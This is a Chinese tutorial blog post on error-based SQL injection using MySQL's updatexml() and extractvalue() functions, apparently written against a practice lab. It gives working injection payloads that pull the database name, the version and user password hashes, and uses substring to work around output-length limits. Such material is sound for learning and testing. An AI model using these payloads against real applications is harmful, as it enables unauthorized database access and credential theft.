extractvalue()和updatexml()的报错注入

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白

构造payload:kobe ' and updatexml(1,concat(0x7e,version()),1)#

如何让全部的数据都校验失败呢? 恩,就是使用concat在需要的数据前面加上一个XPATH校验失败的东东就可以了。--于小葵
0x7e用来校验,version()是我们想要的数据,concat用来连接它们两个
首先看看0x7e这个东西,它是 ~ 的16进制用来校验,但也不用被0x7e固定化了,只要能做到校验那填什么都可以,看下面的三个例子就明白了。

payload:kobe' and updatexml(1,concat(0x7e,database()),0)#,这里是~号
kobe' and updatexml(1,concat('#',version()),0)#,这里是#号

kobe ' and updatexml(1,concat(0x5e24,version()),0)#,这里是^$号。

concat在mysql中就是起到连接两个数据作用,清楚明白

kobe' and updatexml(1,concat(0x7e,database()),0)#得到数据库名。

payload:kobe' and updatexml(1,concat(0x7e,(select password from users limit 2,1)),0)#

上面忘记提及,updatexml函数最多输出32个字节。这个时候md5解密是解不出来的,因为~的存在占据一位,密文只有31位,所以substring函数作用就出来了。

感谢一位不愿透露姓名的大佬指点
这个函数,一个是要截取的内容,一个是开始的位数substring(xx,xx)
构造payload:kobe' and updatexml(1,concat(0x7e,substring((select password from users limit 0,1), 32)),0)#

md5进行拼接得到e10adc3949ba59abbe56e057f20f883e

extractvalue()
extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

使用concat()拼接 ‘  /  ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

这里在’anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值